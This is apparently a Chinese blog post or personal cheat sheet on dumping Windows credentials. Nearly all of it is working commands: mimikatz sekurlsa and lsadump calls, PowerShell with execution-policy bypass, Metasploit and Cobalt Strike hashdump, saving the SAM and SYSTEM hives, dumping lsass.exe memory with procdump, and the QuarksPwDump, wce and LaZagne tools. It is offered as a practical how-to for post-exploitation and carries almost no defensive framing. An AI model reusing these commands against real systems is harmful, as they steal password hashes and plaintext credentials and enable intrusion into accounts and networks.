windows环境下抓密码总结
在线抓密码
1.mimikatz
privilege::debug
token::whoami
token::elevate
lsadump::sam
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
2.ps脚本
使用Get-PassHashes.ps1
powershell -exec bypass Import-Module .\Get-PassHashes.PS1 Get-PassHashes
3.msf
拿到meterpreter的过程省略掉,用smb445端口建立连接即可
run hashdump hashdump post/windows/gather/credentials/domain_hashdump(获取域hash) use mimikatz wdigest(明文)
4.cs上线
需要主机至少为administrator权限,user权限需提权后再抓
hashdump
wdigest
logonpasswords(明文)
此处我用的powershell上线,上线过程就不赘述
hashdump命令
wdigest命令
logonpasswords命令
离线抓密码
1.SAM(卷影副本、注册表)
卷影副本:卷影副本,也称为快照,是存储在 Data Protection Manager (DPM) 服务器上的副本的时间点副本。副本是文件服务器上单个卷的受保护共享、文件夹和文件的完整时间点副本。
管理员状态下执行如下命令
reg save hklm\sam sam.hiv
reg save hklm\system system.hiv
再到mimikatz下执行如下命令
lsadump::sam /sam:sam.hiv /system:system.hiv
(2)lsass.exe(注入lsass.exe进程,并从其内存中提取)
执行如下命令:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
在有mimikatz和dmp文件的目录下运行cmd,执行如下命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
注:这两步都需要为管理员权限,否则会报错如下
(3)手工导出lsass.dmp文件
使用任务管理器导出lsass.dmp文件
步骤同上
其他工具
1.QuarksPwDump
命令如下:
QuarksPwDump.exe –dhl -o hash.txt
2.wce
抓取明文
wce.exe -w
抓取hash
wce.exe -l
3.lazagne.exe
命令如下
lazagne.exe windows
后记
感谢一寸一叶师傅提供的思路,才有了这篇文章,对一寸一叶师傅表示衷心感谢
此处还有很多抓hash的高级方法,但是因为技术的原因这里即使实践也不懂得原理,所以暂时先不深入研究,贴个链接给有兴趣的师傅们,可以继续钻研一下,等到知识储备足够时再来研究